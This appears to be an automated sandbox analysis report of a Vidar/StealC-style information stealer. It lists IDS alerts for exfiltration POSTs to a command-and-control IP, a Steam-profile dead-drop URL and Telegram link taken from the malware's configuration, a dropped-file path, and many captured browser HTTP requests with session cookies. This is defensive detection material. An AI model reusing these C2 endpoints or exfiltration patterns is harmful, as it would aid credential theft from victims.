Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50121 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.6:50121 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50127 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50125 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50132 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50133 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50129 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50135 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50141 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50137 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50130 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50142 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50139 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50128 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50143 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50138 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50131 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50134 -> 116.202.5.153:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199820567237

Source: global traffic

HTTP traffic detected: GET /m08mbk HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.13
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.219.82.73
Source: unknown	TCP traffic detected without corresponding DNS query: 23.219.82.73
Source: unknown	TCP traffic detected without corresponding DNS query: 23.219.82.73
Source: unknown	TCP traffic detected without corresponding DNS query: 23.219.82.73
Source: unknown	TCP traffic detected without corresponding DNS query: 23.219.82.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.219
Source: unknown	TCP traffic detected without corresponding DNS query: 23.219.82.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.219
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.219
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.219
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.219
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.219
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 108.139.47.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.219.82.73
Source: unknown	TCP traffic detected without corresponding DNS query: 23.219.82.73

Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com

Code function: 13_2_0035D889 InternetReadFile,SetEvent,GetLastError,SetEvent,

13_2_0035D889

Source: global traffic	HTTP traffic detected: GET /m08mbk HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0Host: getyour.cyouConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.l2ZUC8FxqV8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo9xAAkaXO7Lqf7-9uTpZLtrkpWaXQ/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531 HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"peek","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/SSR-extension.d0b81df0decfa0886dfe.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.45sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.55", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.150"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-full-version: "117.0.2045.55"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"peek","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=7B4FD8C1B4784488BDAA91D4F930C656.RefC=2025-02-01T15:53:54Z; USRLOC=; MUID=068200E89A0E61812B5B156E9B8460A6; MUIDB=068200E89A0E61812B5B156E9B8460A6; _EDGE_S=F=1&SID=3C9A4327BAB466C4135156A1BBF76776; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/web-worker.8ed343c804e9069b52b4.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.45sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.55", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.150"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-full-version: "117.0.2045.55"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"peek","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=7B4FD8C1B4784488BDAA91D4F930C656.RefC=2025-02-01T15:53:54Z; USRLOC=; MUID=068200E89A0E61812B5B156E9B8460A6; MUIDB=068200E89A0E61812B5B156E9B8460A6; _EDGE_S=F=1&SID=3C9A4327BAB466C4135156A1BBF76776; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.a01e10d026eb0e3d85f0.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common.416deb762b0803a19e78.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/microsoft.7fc3109769390e0f7912.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/experience.5734d85c965c30638bcf.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/ASuc5ohfQPNzGo5SSihcSk6msC8CUKw5id-p0KCEkBKwK2LS4AjdrDP0wa1qjzCTaTWEfyM52ADmUAdPETYA5vgD87UPEj6gyG11hjsvMLHGmzQgJ9F5D8s8Lo0Lbai5BQYAxlKa5esPJXukyaicyq83JwZ0HIWqzrjN/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_86_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=068200E89A0E61812B5B156E9B8460A6; _EDGE_S=F=1&SID=3C9A4327BAB466C4135156A1BBF76776; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1738425237871&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=068200E89A0E61812B5B156E9B8460A6&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1738425237870&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7b4fd8c1b4784488bdaa91d4f930c656&activityId=7b4fd8c1b4784488bdaa91d4f930c656&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=068200E89A0E61812B5B156E9B8460A6; _EDGE_S=F=1&SID=3C9A4327BAB466C4135156A1BBF76776; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b2?rn=1738425237871&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=068200E89A0E61812B5B156E9B8460A6&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=140cb6e107434fad77ea4741738425239; XID=140cb6e107434fad77ea4741738425239
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 5.55sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.55", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.150"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 250sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-full-version: "117.0.2045.55"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"peek","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=7B4FD8C1B4784488BDAA91D4F930C656.RefC=2025-02-01T15:53:54Z; USRLOC=; MUID=068200E89A0E61812B5B156E9B8460A6; MUIDB=068200E89A0E61812B5B156E9B8460A6; _EDGE_S=F=1&SID=3C9A4327BAB466C4135156A1BBF76776; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=1c6d9184-6a77-425d-8973-ba437152ff94; ai_session=clQQVKxFVrwpqygra+xaDQ\|1738425237865\|1738425237865; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=7B4FD8C1B4784488BDAA91D4F930C656.RefC=2025-02-01T15:53:54Z
Source: global traffic	HTTP traffic detected: GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true HTTP/1.1Host: ntp.msn.comConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-edge-ntp: 